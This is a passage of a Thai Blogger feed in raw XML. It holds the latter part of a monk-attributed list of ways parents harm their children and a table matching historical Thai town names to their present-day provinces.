&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการทำแต่งานสังคมสงเคราะห์นอกบ้าน โดยลืมไปว่าคนที่ตนต้องสงเคราะห์ก่อนดูแลก่อนต้องให้ความรักก่อนก็คือลูก ผลก็คือแม้จะกลายเป็นนักสังคมสงเคราะห์ที่ประสบความสำเร็จนอกบ้าน สังคมสรรเสริญ แต่กลับเป็นพ่อแม่ที่ล้มเหลวในบ้าน และลูกกลายเป็นเด็กที่ขาดความรัก ความอบอุ่น&amp;nbsp; ไม่พร้อมจะแบ่งปันความรักและความอบอุ่นให้ใคร&lt;br /&gt;
พ่อแม่บางคน (๘)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่รู้จักยกย่องชมเชยลูกเมื่อเขาประสบความสำเร็จในการเรียน ในการทำงาน หรือในการทำกิจกรรมใดๆก็ตาม ผลก็คือลูกกลายเป็นคนใจคอคับแคบ ยกย่องชมเชยใครไม่เป็น เมื่อเห็นคนอื่นได้ดีมีความสำเร็จ เขาจึงเป็นนักอิจฉาริษยาตัวฉกาจ ที่จ้องแต่จะหาทางทำลายคุณงามความดีของคนอื่น&lt;br /&gt;
พ่อแม่บางคน (๙)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่รู้จักสอนเขาให้รู้จักบาปบุญคุณโทษ&amp;nbsp; ผลก็คือ&amp;nbsp; เมื่อโตขึ้น&amp;nbsp; เขาจึงพร้อมผละหนีพ่อแม่ไปอย่างไม่รู้สึกผิด&amp;nbsp; ไม่เห็นความจำเป็นว่า&amp;nbsp; การเป็นลูกที่ดีนั้น&amp;nbsp; จะต้องกตัญญูกตเวทีต่อพ่อแม่ของตนอย่างไร&lt;br /&gt;
พ่อแม่บางคน (๑๐)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่สอนลูกให้รู้จักการบำเพ็ญตนเป็นผู้ให้ ผลก็คือเมื่อโตขึ้นเขาจึงกลายเป็นคนเห็นแก่ตัวอย่างร้ายกาจ คิดแต่จะกอบโกย คิดถึงแต่ประโยชน์ส่วนตัวจนมองไม่เห็นหัวคนอื่น แทนที่จะถือหลัก “ยิ่งรวยยิ่งให้ ยิ่งได้ยิ่งแบ่ง”กลับถือหลัก “ยิ่งรวยยิ่งคอร์รัปชั่น ยิ่งแบ่งปันยิ่งสูญเสียเปล่า”&lt;br /&gt;
พ่อแม่บางคน (๑๑)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่ยอมให้ลูกรู้จักตัดสินใจด้วยตนเอง&amp;nbsp; ผลก็คือ&amp;nbsp; ลูกกลายเป็นคนขาดความเชื่อมั่นในตนเอง&amp;nbsp; ไม่กล้าคิด&amp;nbsp; ไม่กล้าพูด&amp;nbsp; ไม่กล้าทำอะไร&amp;nbsp; ส่งผลให้ไร้ภาวะผู้นำ&amp;nbsp; ต้องเดินตามคนอื่นโดยดุษฎี&lt;br /&gt;
พ่อแม่บางคน (๑๒)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่สอนให้ลูกรู้จักสมบัติของผู้ดี ผลก็คือเขากลายเป็นคนหยาบกระด้างทั้งทางกาย ทางใจ ใจคอโหดหินทมิฬชาติ ขาดความสุภาพอ่อนน้อม ขาดสัมมาคาราวะ ไม่รู้จักกาลเทศะ ไม่รู้จักประมาณตน ครองตน ครองงานไม่เป็น ไม่เห็นคุณค่าของระเบียบประเพณี กฎหมาย จรรยาจารีตของสังคม&amp;nbsp; ไม่เคารพในศักดิ์ศรีแห่งความเป็นคนดีของเพื่อนมนุษย์&lt;br /&gt;
พ่อแม่บางคน (๑๓)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่แนะนำให้ลูกรู้จักคบเพื่อนที่เป็นกัลยาณมิตร (เพื่อนแท้) ผลก็คือรอบกายของเขาจึงมีแต่บาปมิตร (เพื่อนเทียม) คอยประจบสอพลอ คอยหลอกล่อให้ทำความเลวทรามต่ำช้า ติดสุรา ยาเสพติด นำพาชีวิตไปในทางเสียหาย ตกอยู่ใต้วังวนของอบายมุข สนุกสนาน ไม่สนใจหาแก่นสารให้กับชีวิต&lt;br /&gt;
พ่อแม่บางคน (๑๔)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่รู้จักสร้างสภาพแวดล้อมให้ลูกเป็นคนรักการอ่าน รักการเขียน รักการเรียนรู้ รักการเดินทาง ปล่อยให้เขาศึกษาหาความรู้ด้วยตัวเองไปตามยถากรรม ผลก็คือเขากลายเป็นคนหูตาคับแคบ ขาดความรู้พื้นฐาน ขาดความรู้รอบตัว ขาดความกระตือรือร้น ไม่มีแรงจูงใจใฝ่สัมฤทธิ์ การคิด พูด ทำ ไม่เฉลียวฉลาดปราดเปรื่อง ขาดความแหลมคม ตามไม่ทันโลก ตกข่าว เป็นคนว่างเปล่าทางความรู้ (รอบตัว) ความคิด จิตใจ และไม่มีรสนิยมอย่างอารยชน&lt;br /&gt;
ว.วชิรเมธี</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/835494777211490099/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/09/blog-post_09.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/835494777211490099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/835494777211490099'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/09/blog-post_09.html' title='พ่อแม่รังแกฉัน (บาป ๑๔ ประการของมารดาบิดา)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-7001434706537521340</id><published>2011-09-09T09:55:00.000+07:00</published><updated>2011-09-09T09:55:06.983+07:00</updated><title type='text'>ชื่อเมืองต่างๆ ของประเทศไทย ในประวัติศาสตร์</title><content type='html'>ชื่อเมืองต่างๆ ของประเทศไทย ในประวัติศาสตร์&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; สองแคว&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดพิษณุโลก &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ศรีสัชนาลัย&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดสุโขทัย&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; สระหลวง,โอฆะบุรี&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดพิจิตร&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ฉอด&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดตาก&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แม่ละเมา&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ต.แม่ละเมา อ.แม่สอด จังหวัดตาก&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; พิชัย&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อ.พิชัย จังหวัดอุตรดิตถ์&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ทุ่งยั้ง,ศรีนพวงศ์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดอุตรดิตถ์&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชากังราว,นครชุม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดกำแพงเพชร&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; วิเศษไชยชาญ&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อ.วิเศษไชยชาญ จังหวัดอ่างทอง&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อโยธยา&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดอยุธยา&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ละโว้&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดลพบุรี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; บางระจัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อ.บางระจัน จังหวัดสิงห์บุรี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ศรีวิชัย,นครไชยศรีทวาราวดี&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดนครปฐม&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แปดริ้ว&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดฉะเชิงเทรา&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อู่ทอง&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อ.อู่ทอง จังหวัดสุพรรณบุรี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ดอนเจดีย์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อ.ดอนเจดีย์ จังหวัดสุพรรณบุรี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; หนองสาหร่าย&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ต.หนองสาหร่าย จังหวัดสุพรรณบุรี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; สามโคก&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดปทุมธานี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; พระบาง,ปากน้ำโพ&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดนครสวรรค์&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; หริภุญไชย&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดลำพูน&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เขลางค์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดลำปาง&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เวียงพิงค์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดเชียงใหม่&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เงินยาง&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อ.เชียงแสน จังหวัดเชียงราย&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; สาครบุรี&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดสมุทรสาคร&lt;br /&gt;
